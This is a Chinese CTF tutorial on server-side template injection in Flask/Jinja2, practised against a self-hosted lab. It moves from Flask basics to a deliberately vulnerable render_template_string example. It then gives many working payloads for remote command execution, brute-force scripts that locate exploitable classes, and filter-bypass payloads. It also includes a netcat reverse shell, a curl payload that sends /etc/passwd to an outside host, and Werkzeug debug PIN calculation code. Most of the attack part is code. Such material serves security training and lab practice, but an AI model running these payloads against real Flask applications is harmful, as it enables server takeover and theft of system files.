打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
CTFWEB-SSTI篇
userphoto

2023.10.11 广东

关注
前言:本篇文章中使用的练习靶场为SSTI LAB需自行下载搭建。
前置知识
我们对于flask的搭建及使用采用的是python的venv搭建
python venv搭建
可以把它想象成一个容器,该容器供你用来存放你的Python脚本以及安装各种Python第三方模块,容器里的环境和本机是完全分开的 (就像你在Windows主机上通过Vmware跑一台Ubuntu或者CentOs的虚拟主机一样),也就是说你在venv下通过pip安装的Python第三方模块是不会存在于你本机的环境下的。
我们使用的是kali虚拟机搭建。
在终端中输入python3查看当前python版本
我这里是3.11,我们使用以下命令安装venv
apt update //更新软件
pip install python3.11-venv //安装venv
这里是python3.11是因为我的python环境是3.11,根据自己环境安装对应版本
安装完成后选择一个目录创建虚拟环境
cd /opt //创建虚拟环境的目录,这个自己选
python3 -m venv flask1 //创建一个名为flask1的虚拟目录
创建成功后我们可以进入我们的虚拟环境,尝试创建一个.py文件,并写点东西
cd flask1 //进入虚拟目录
vim demo.py //创建文件
print('hello caigo') //文件内容
创建成功后在虚拟目录执行,能执行成功即可
然后我们安装flask模块,如果使用的是新版本的python,它是自带的就不用安装,没有的话用以下命令安装即可
pip3 install flask
安装成功后使用python命令行,尝试导入模块,无报错即可
import flask
Flask应用
介绍
Flask是一个使用python编写的轻量级web应用框架。类似于apache、nginx
其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flask使用 BSD 授权。
Flask的特点有: 良好的文档、丰富的插件、包含开发服务器和调试器 (debugger) 、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode。
Python可直接用flask启动一个web服务页面
Flask基本框架
from flask import Flask //导入模块
app - Flask(__name__) //类似于php的实例化对象,把flask的功能赋值给app
@app.route('/caigo') //指定的路由(访问地址)
def hello(): //创建一个hello函数
return 'hello caigo' //执行后返回 hello caigo
if __name__=='__main__': //代码从这行开始
app.run(debug=True,host='0.0.0.0',port=8081) //调用app.run()
创建后运行
然后我们尝试访问
Flask变量规则
那像上面这种我们只有访问路由地址为/caigo,才有内容,就是写死了,我们还可以通过向规则参数添加变量部分,可以动态构建URL
from flask import Flask //导入模块
app - Flask(__name__) //类似于php的实例化对象,把flask的功能赋值给app
@app.route('/hello/<name>') //接收访问url的值赋值给hell函数的name参数
def hello(name): //创建一个hello函数
return 'hello %s' %name //执行后返回 hello + name参数的值
//%s 是格式化字符串
@app.route('/int/<int:postID>') //指定传参类型为int(整型)
def id(postID):
return '%d ' %postID
//%d 是格式整数
@app.route('/int/<float:revNo>') //指定传参类型为float(浮点型)
def id(postID):
return '%f ' %revNo
//%f是浮点型
if __name__=='__main__': //代码从这行开始
app.run(debug=True,host='0.0.0.0',port=8081) //调用app.run()
Flask HTTP方法
Http协议是万维网中数据通信的基础。在该协议中定义了从指定URL检索数据的不同方法
GET  //以未加密的形式将数据发送到服务器。最常见的方法
HEAD //和GET方法相同,但没有响应体。
POST //用于将HTML表单数据发送到服务器。POST方法接收的数据不由服务器缓存
PUT //用上传的内容替换目标资源的所有当前表示。
DELETE  //删除由URL给出的目标资源的所有当前表示
<html>
<body>
<form action = 'http://localhost:5000/login' method = 'post'>
<p>Enter Name:</p>
<p><input type = 'text' name = 'nm' /></p>
<p><input type = 'submit' value = 'submit' /></p>
</form>
</body>
</html>from flask import Flask, redirect, url_for, request, render_template
app = Flask(__name__)
@app.route('/')
def index():
return render_template('login.html')
@app.route('/success/<name>')
def success(name):
return 'welcome %s' % name
@app.route('/login',methods = ['POST', 'GET'])
def login():
if request.method == 'POST':
print(1)
user = request.form['nm']
return redirect(url_for('success',name = user))
else:
print(2)
user = request.args.get('nm')
return redirect(url_for('success',name = user))
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
创建这两个文件,注意flask render_template('login.html')包含的文件默认是在py文件的同级目录下的templates目录中,没有的话创建一个,然后运行py文件
post
get
flask模板介绍
在前面的实例中,视图函数的主要作用是生成请求的响应,这是最简单的请求。
视图函数有两个作用:
处理业务逻辑
返回响应内容
在大型应用中,把业务逻辑和表现内容放在一起,会增加代码的复杂度和维护成本.
模板其实是一个包含响应文本的文件,其中用占位符(变量)表示动态部分,告诉模板引擎其具体的值需要从使用的数据中获取
使用真实值替换变量,再返回最终得到的字符串,这个过程称为'渲染'
Flask 是使用 Jinja2 这个模板引擎来渲染模板
使用模板的好处
视图函数只负责业务逻辑和数据处理(业务逻辑方面)
而模板则取到视图函数的数据结果进行展示(视图展示方面)
代码结构清晰,耦合度低
模板变量
代码中可以传入字符串,列表,字典到模板中
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def index():
# 往模板中传入的数据
my_str = 'Hello Word'
my_int = 10
my_array = [3, 4, 2, 1, 7, 9]
my_dict = {
'name': 'caigo',
'age': 18
}
return render_template('hello.html',
my_str=my_str,
my_int=my_int,
my_array=my_array,
my_dict=my_dict
)
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)<!DOCTYPE html>
<html lang='en'>
<head>
<meta charset='UTF-8'>
<title>Title</title>
</head>
<body>
我的模板html内容
<br />{{ my_str }}
<br />{{ my_int }}
<br />{{ my_array }}
<br />{{ my_dict }}
</body>
</html>
可以看到成功渲染
那么我们如果把其中一个的值改成我们可控,比如my_str改成通过get请求获取
可以看到一开始访问的值是none因为我们没有传值,传完值页面就发生改变
我们上面的演示是用render_template来渲染一个文件
flask还可以使用render_template_string
render_template_string是用于渲染字符串,直接定义内容
from flask import Flask, render_template,render_template_string,request
app = Flask(__name__)
@app.route('/')
def index():
# 往模板中传入的数据
my_str = request.args.get('ben')
my_int = request.args.get('xiao')
my_array = [3, 4, 2, 1, 7, 9]
my_dict = {
'name': 'xiaoming',
'age': 18
}
return render_template_string('<html lang='en'><head><meta charset='UTF-8'><title>Title</title></head><body>我的模板html内容<br>%s<br>%s</body></html>' %(my_str,my_int))
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
其实这里就已经存在SSTI模板注入了
可以看到他对我们ben输入的值进行了运算
Flask漏洞
flask代码不严谨就有可能产生SSTI漏洞,造成任意文件读取和RCE远程控制后台系统。
漏洞成因就像我们上面那个一样,渲染模板时,没有严格控制用户的输入
我们来看一段正常的代码
from flask import Flask,render_template_string,request
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('ben')
html_str = '''
<html>
<head></head>
<body>{{str}}</body>
</html>
'''
return render_template_string(html_str,str=str)
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
我们理一下代码
GET方式获取ben的值赋值给str
str值通过rendertemplatestring加载到body中间
str是被包括起来的,会被预先渲染转义然后才输出,不会被渲染执行,只会获取str对应的字符串
我们通常测试ssti会在可控参数传{{7*7}}之类的数据,它如果返回49那就说明它进行了运算,而不是当成字符串直接输出。显然这段代码不存在ssti,因为它的可控字符是被{{}}包起来的
我们来看一段有漏洞的代码
from flask import Flask,render_template_string,request
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('ben')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
我们理一下代码
str值通过format()函数填充到body中间
{}里可以定义任何参数,因为这里的值是我们传入ben的值
return render_template_string会把{}内的字符串当成代码指令
可以看到,它进行了运算,那么这里就存在ssti漏洞
因为SSTI(服务器模板注入),它不是只有flask存在,还有很多比如mako,jinja2...
在不确定具体是哪种模板注入可以按照下面这张图
python继承关系和魔术方法
继承关系
在python中存在父类和子类,子类可以调用父类下的其他子类,像下面这张图
因为Python flask脚本没有办法直接执行python指令,这时候就需要我们使用python的魔术方法去触发一些能执行命令的函数
魔术方法
魔术方法
作用
__init__
对象的初始化方法
__class__
返回对象所属的类
__module__
返回类所在的模块
__mro__
返回类的调用顺序,可以找到其父类(用于找父类)
__base__
获取类的直接父类(用于找父类)
__bases__
获取父类的元组,按它们出现的先后排序(用于找父类)
__dict__
返回当前类的函数、属性、全局变量等
__subclasses__
返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类)
__globals__
获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量)
__import__
用于导入模块,经常用于导入os模块
__builtins__
返回Python中的内置函数,如eval
例题
我们拿一道jinja2模板注入演示一下
测试发现存在
{{''.__class__}}    //''这个的意思就是字符串的意思,然后加上.__class__就是查看它的类
.__base__//就是查看它的上级类也就是父类
.__subclasses __()  //由于object已经是最上面的父类了,所以我们查看它的子类
看到有很多我们寻找我们能执行命令的类比如os._wrap_close,然后它是在返回结果的第118位,所以我们在.__subclasses __()加上[117] //列表从0开始计算个数
.__init __.__globals__ //初始化对象,获取能使用的模块、方法、变量
['__builtins__']['eval']('__import__('os').popen('ls'). read()//返回python的eval函数,导入os模块使用popen方法执行命令,.read()//读取执行结果
name=%7B%7B%27%27.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('ls').read()')%7D%7D
ssti常用注入模块利用
1.文件读取
关键子类:_frozen_importlib_external.FileLoader
我们可以通过脚本寻找是第几位
import requests
url = 'http://192.168.15.137:18080/flaskBasedTests/jinja2/'
lei = '_frozen_importlib_external.FileLoader'
for i in range(500):
data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+']}}'}
try:
response = requests.post(url=url,data=data)
if response.status_code == 200:
if lei in response.text:
print(i)
except:
pass
返回79
使用get_data 读取文件
['get_data'](0,'/etc/passwd')
2.内建函数eval执行命令
关键函数:eval
因为它是自建函数,很多模块里都有,所以我们还是使用脚本寻找
import requests
url = 'http://192.168.15.137:18080/flaskBasedTests/jinja2/'
lei = 'eval'
for i in range(500):
data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__['__builtins__']}}'}
try:
response = requests.post(url=url,data=data)
if response.status_code == 200:
#print(response.text)
#print(data)
if lei in response.text:
print(i)
except:
pass
返回结果是很多的,我们随便挑一个:146
3.os模块执行命令
我们有两种方法调用os模块
1.在其他函数中直接调用os模块
通过config,调用os
name='{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
通过url_for,调用os
name='{{url_for.__globals__.os.popen('id').read()}}
2.就和前面一样在已经加载os模块的子类里直接调用os模块
我们还是使用脚本查找
import requests
url = 'http://192.168.15.137:18080/flaskBasedTests/jinja2/'
lei = 'os.py'
for i in range(500):
data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__}}'}
try:
response = requests.post(url=url,data=data)
if response.status_code == 200:
#print(response.text)
#print(data)
if lei in response.text:
print(i)
except:
pass
返回结果很多,随便选一个调用即可
4.importlib类执行命令
可以加载第三方库,使用load_module加载os
我们通过脚本查找_frozen_importlib.BuiltinImporter
import requests
url = 'http://192.168.15.138:18080/flaskBasedTests/jinja2/'
lei = '_frozen_importlib.BuiltinImporter'
for i in range(500):
data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+']}}'}
try:
response = requests.post(url=url,data=data)
if response.status_code == 200:
#print(response.text)
#print(data)
if lei in response.text:
print(i)
except:
pass
找到后使用load_module直接加载os模块
name='{{().__class__.__mro__[-1].__subclasses__()[69]['load_module']('os')['popen']('ls').read()}}
5.linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,使用我们也可以利用这个linecache函数去执行命令
还是用脚本寻找
import requests
url = 'http://192.168.15.138:18080/flaskBasedTests/jinja2/'
lei = 'linecache'
for i in range(500):
data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__}}'}
try:
response = requests.post(url=url,data=data)
if response.status_code == 200:
#print(response.text)
#print(data)
if lei in response.text:
print(i)
except:
passname={{().__class__.__mro__[-1].__subclasses__()[191].__init__.__globals__.linecache.os.popen('ls').read()}}
6.subprocess.Popen类执行命令
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出。错误中去,还可以得到子进程的返回值
subprocess可以替代其他几个老的模块或函数,比如:os.system、os.popen等函数
我们使用脚本寻找
import requests
url = 'http://192.168.15.138:18080/flaskBasedTests/jinja2/'
lei = 'subprocess.Popen'
for i in range(500):
data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+']}}'}
try:
response = requests.post(url=url,data=data)
if response.status_code == 200:
#print(response.text)
#print(data)
if lei in response.text:
print(i)
except:
pass
这个使用起来略微有点不同
name={{().__class__.__mro__[-1].__subclasses__()[200]('id',shell=True,stdout=-1).communicate()[0].strip()}}
config获取
有时候,flag可能隐藏在config文件内,无过滤的情况下{{config}}查看即可
在存在过滤的情况下,可以使用flask内置函数
flask内置对象
flask内置函数
joiner
url_for
可返回url路径
namespace
get_flashed_message
可获取消息
config
lipsum
可加载第三方库
request
session
cycler
{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config}}
无回显SSTI
打开题目,执行命令无回显,只有对错判断
有3种思路,第一种就是shell反弹,使用脚本跑popen,执行反弹命令,
import requests
url = 'http://192.168.15.139:18080/flasklab/level/3'
lei = 'correct'
for i in range(500):
data={'code':'{{''.__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__['popen']('netcat xxx.xxx.xxx.xxx -e /bin/bash').read()}}'}
try:
response = requests.post(url=url,data=data)
if response.status_code == 200:
print(response.text)
print(data)
if lei in response.text:
print(i,'------>',data)
break
except:
pass
第二种,带外注入,可以直接服务器监听也可以使用dnslog
就是通过``号执行命令,把结果通过url访问带出
import requests
url = 'http://192.168.15.139:18080/flasklab/level/3'
lei = 'correct'
for i in range(500):
data={'code':'{{''.__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__['popen']('curl http://192.168.15.136/`cat /etc/passwd`').read()}}'}
try:
response = requests.post(url=url,data=data)
if response.status_code == 200:
print(response.text)
print(data)
if lei in response.text:
print(i,'------>',data)
break
except:
pass
第三种就是纯盲注
常见过滤及绕过
双大括号过滤
看这道题,我们输入{{}},提示waf,说明过滤了{{}}
我们除了{{}},还可以使用{%%},写一个if语句判断能否正常执行
{%if 2>1%}caigo{%endif%}
有回显,说明语句正常执行,我们改一下
{%if''.__class__%}caigo{%endif%}
输出caigo说明''.__class__里面有内容
那我们就可以提前构造后poc语句使用脚本来跑
import requests
url = 'http://192.168.15.139:18080/flasklab/level/2'
lei = 'caigo'
for i in range(500):
data={'code':'{%if().__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__['popen']('cat /etc/passwd').read() %}caigo{%endif%}'}
try:
response = requests.post(url=url,data=data)
if response.status_code == 200:
#print(response.text)
#print(data)
if lei in response.text:
print(i,'------>',data)
break
except:
pass
脚本意思也很简单,对我们构造好的poc做一个if判断,有内容就返回caigo。执行脚本返回117,我们试一下
说明命令成功执行,但是没有回显,其实能执行命令直接弹shell即可,我们也可以使用print输出返回内容
{% print(().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()) %}
中括号过滤
关键:__getitem__()魔术方法
getitem()是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值
看这题,它过滤了[],我们使用__getitem__()替代
正常我们调用是这样子code={{''.__class__.__base__.__subclasses__()[117]}},但是[]过滤了使用我们使用__getitem__()
后面的poc构造就和前面没差别了
code={{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('id').read()}}
单双引号过滤
关键:request
request在flask中可以访问基于HTTP请求传递的所有信息,此request并非python的函数,而是在flask内部的函数
request.args.key
获取get传入的key的值
request.values.x1
所有参数
request.cookies
获取cookies传入参数
request.headers
获取请求头请求参数
request.form.key
获取post传入参数
request.data
获取post传入参数(Content-Type:a/b)
request.ison
获取post传入json参数(Content-Type: application/json)
使用request函数接收的值会自动当成字符串,所以可以不使用单双引号
code={{().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read()}}
除了get还可以使用post、cookie等
下划线过滤
关键:过滤器
过滤器通过管道符号|与变量连接,并且在括号中可能有可选的参数
flask常用过滤器
length()
获取一个序列或者字典的长度并将其返回
int()
将值转换为int类型
float()
将值转换为float类型
lower()
将字符串转换为小写
upper()
将字符串转换为大写
reverse()
反转字符串
replace(value,old,new)
将value中的old替换为new
list()
将变量转换为列表类型
string()
将变量转换成字符串类型
join()
将一个序列中的参数值拼接成字符串,通常有python内置的dict0)配合使用
attr()
获取对象的属性
dict()
用来创建一个字典
第一种,request搭配attr绕过
http://192.168.15.139:18080/flasklab/level/6?class=__class__&base=__base__&sub=__subclasses__&geti=__getitem__&init=__init__&glo=__globals__&gei=__getitem__code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.geti)(117)|attr(request.args.init)|attr(request.args.glo)|attr(request.args.gei)('popen')('id')|attr('read')()}}
第二种,使用attr搭配Unicode编码绕过
code={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('id')|attr('read')()}}code={{()|attr('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f')|attr('\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f')|attr('\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f')()|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')(117)|attr('\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f')|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('popen')('id')|attr('read')()}}
第三种,使用16位编码绕过
{{().__class__.__base__.__subclasses__()[199].__init__.__globals__['os']['popen']('ls').read()}}code={{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[199]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['os'].popen('ls').read()}}
第四种,使用base64编码绕过
code={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('id')|attr('read')()}}code={{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(117)|attr('X19pbml0X18='.decode('base64')))|attr('X19nbG9iYWxzX18='.decode('base64')))|attr('X19nZXRpdGVtX18='.decode('base64')))('popen')('id')|attr('read')()}}
第五种,使用格式化字符串绕过
code={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('id')|attr('read')()}}code={{()|attr('%c%cclass%c%c'%(95,95,95,95))|attr('%c%cbase%c%c'%(95,95,95,95))|attr('%c%csubclasses%c%c'%(95,95,95,95))()|attr('%c%cgetitem%c%c'%(95,95,95,95))(117)|attr('%c%cinit%c%c'%(95,95,95,95))|attr('%c%cglobals%c%c'%(95,95,95,95))|attr('%c%cgetitem%c%c'%(95,95,95,95))('popen')('id')|attr('read')()}}
点.被过滤
1.使用中括号代替点
python语法除了可以使用点'.'来访问对象属性外,还可以使用中括号'[]'.
{{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('id')['read']()}}
2.用attr()绕过
payload语句中不会用到点'.'和中括号'[]'
code={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('id')|attr('read')()}}
关键字过滤
过滤了'__class__''arg''from''value''int''global'等关键字
以'__class__'为例
1.字符编码
{{()|attr('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f')|attr('\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f')|attr('\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f')()|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')(117)|attr('\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f')|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('popen')('id')|attr('read')()}}
2.最简单拼接“+” //'__cl'+'ass__'
{{()['__cl'+'ass__']['__b'+'ase__']['__subc'+'lasses__']()[117]['__i'+'nit__']['__glob'+'als__']['pop'+'en']('id')['re'+'ad']()}}
3.使用jinjia2中的'~'进行拼接  // {%set a='__cla'%}{%set b='ss__'%}{{a~b}}
{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcl'%}{%set f='asses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__glob'%}{%set j='als__'%}{%set k='pop'%}{%set l='en'%}{%set m='re'%}{%set p='ad'%}{{()[a~b][c~d][e~f]()[117][g~h][i~j][k~l]('id')[m~p]()}}
4.使用过滤器(reverse反转、replace替换、join拼接等)  //{%set a='__ssalc__'|reverse%}{{a}}
{%set a='__ssalc__'|reverse%}{%set b='__esab__'|reverse%}{%set c='__sessalcbus__'|reverse%}{%set d='__tini__'|reverse%}{%set e='__slabolg__'|reverse%}{%set f='nepop'|reverse%}{{''[a][b][c]()[199][d][e]['os'][f]('id')['read']()}}
5.利用python的char()  //{%set chr=url_for.__globals__['__builtins__'].chr%}{{''[chr(%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
数字过滤
关键:length过滤器
作用:统计个数,可以使用管道符计算
{%set a='aaaaaaaaaa' | length* 'aa'|length*'aaaaaa' |length -'aaa'|length%}{%set a='aaaaaaaaaa' | length* 'aa'|length*'aaaaaa' |length -'aaa'|length%}{{()['__class__']['__base__']['__subclasses__']()[a]['__init__']['__globals__']['popen']('id')['read']()}}
混合过滤绕过例题
知识点:过滤器使用,符号获取
例题1 ,waf过滤',',+,request,.,[]
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
我们使用dict过滤器搭配join过滤器
{%set a=dict(__class__=1)|join%}{%set b=dict(__base__=1)|join%}{%set c=dict(__subclasses__=1)|join%}{%set d=dict(__getitem__=1)|join%}{%set e=dict(__init__=1)|join%}{%set f=dict(__globals__=1)|join%}{%set g=dict(popen=1)|join%}{%set kg={}|select()|string()|attr(d)(10)%}{%set i=(dict(cat=1)|join,kg,dict(flag=1)|join)|join%}{%set r=dict(read=1)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}
例题2
过滤数字及部分符号
waf:bl[_,.,0-9,\,',',[,]]
{{lipsum|attr('__globals__')|attr('getitem')('os')|attr('popen')('cat flag')|attr('read')()}}{% set nine=dict(aaaaaaaaa=a)|join|count %} {% set eighteen=nine+nine %} {% set pop=dict(pop=a)|join%} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %} {% set space=(lipsum|string|list)|attr(pop)(nine)%} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join%} {% set cat=dict(cat=a)|join%} {% set cmd=(cat,space,dict(flag=a)|join)|join%} {% set read=dict(read=a)|join%} {{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
python debug pin码计算
pin码生成原理
pin码主要由六个参数构成
username
执行代码时候的用户名
getattr(app,' name  ',app. class . name )
Flask
modname
固定值默认flask.app
getattr(mod,' file ',None)
app.py 文件所在路径
str(uuid.getnode())
电脑上mac地址
get machine id()
根据操作系统不同,有四种获取方式
1.获取当前用户名
import getpass
username = getpass.getuser()
print(username)
2.获取app对象name属性
from flask import Flask
app=Flask(__name__)
print(getattr(app,'__name',type(app).__name__))
3.获取app对象module属性
import sys,typing as t
from flask import Flask
modname = getattr(app,'__module__',t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modname)
print(mod)
4.mod的__file__属性(app.py文件所在路径)
import sys,typing as t
from flask import Flask
app=Flask(__name__)
modname = getattr(app,'__module__',t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modname)
print(getattr(mod,'__file__',None))
5.uuid
实际上就是当前网卡的物理地址
import uuid
print(str(hex(uuid.getnode())))
6.get_machine_id获取
Python flask版本不同,读取顺序也不同
Linux
/etc/machine-id(大多数情况下),/proc/sys/kernl/random/boot_id
前者固定后者不固定
docker
/etc/machine-id + /proc/self/cgroup
正则分割
macOS
ioreg -c IOPlatformExpertDevice -d 2
'serial-number'=<{ID}部分
Windows
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
注册表
获取六个参数后->根据python不同版本->使用计算代码->本地化生成pin码
因为计算pin码需要读取文件所以网站得能读文件,上例题。
http://192.168.15.141:18080/flaskdebug/read?url=https://baidu.com
打开网站发现url跳转,尝试包含文件,可以读,然后我们按照顺序获取计算pin码需要的值
1.获取当前用户名,读/etc/passwd文件,默认root
2.获取app对象name属性
默认Flask
3.获取app对象module属性
固定值默认flask.app
4.mod的__file__属性(app.py文件所在路径)
路径可以通过报错获得
/usr/local/lib/python2.7/dist-packages/flask/app.pyc
python2版本下的app.py文件的后缀是pyc
5.uuid
读取/sys/class/net/{对应网卡}/address,默认网卡eth0
02:42:ac:11:00:02
6.get_machine_id获取
/etc/machine-id
b7471d41202f4da392a4743b37ea3b69
/proc/self/cgroup
5bb7bf00646db96c29838c26aa3a7b7418ac493be986cb2f95d51e20d474fa60
获取完后所以脚本计算
python2绝大部分为md5加密,python3少部分为md5,大部分为sha1加密
#!/usr/bin/python2.7
#coding:utf-8
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
mac = '0x'+mac.replace(':','')
mac = int(mac,16)
private_bits = [
str(mac),# str(uuid.getnode()), /sys/class/net/eth0/address
str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
# 02:42:ac:16:00:02 /sys/class/net/eth0/address
# 21e83dfd-206c-4e80-86be-e8d0afc467a1 /proc/sys/kernel/random/boot_id
def getcode(content):
try:
return re.findall(r'<pre>([\s\S]*)</pre>',content)[0].split()[0]
except:
return ''
def getshell():
print genpin('02:42:ac:11:00:02','b7471d41202f4da392a4743b37ea3b695bb7bf00646db96c29838c26aa3a7b7418ac493be986cb2f95d51e20d474fa60')
#mac,machine id
if __name__ == '__main__':
getshell()
登入成功,rce
学无止境,共勉
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
利用 Python 特性在 Jinja2 模板中执行任意代码
Python大神带你用30行代码打造一个网站,爬虫+web不一样的玩法
Python|Flask实现登录功能
python3+flask+mysql实现登录注册
Flask结合ECharts实现在线可视化效果,超级详细!
Flask搭建简单服务器
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服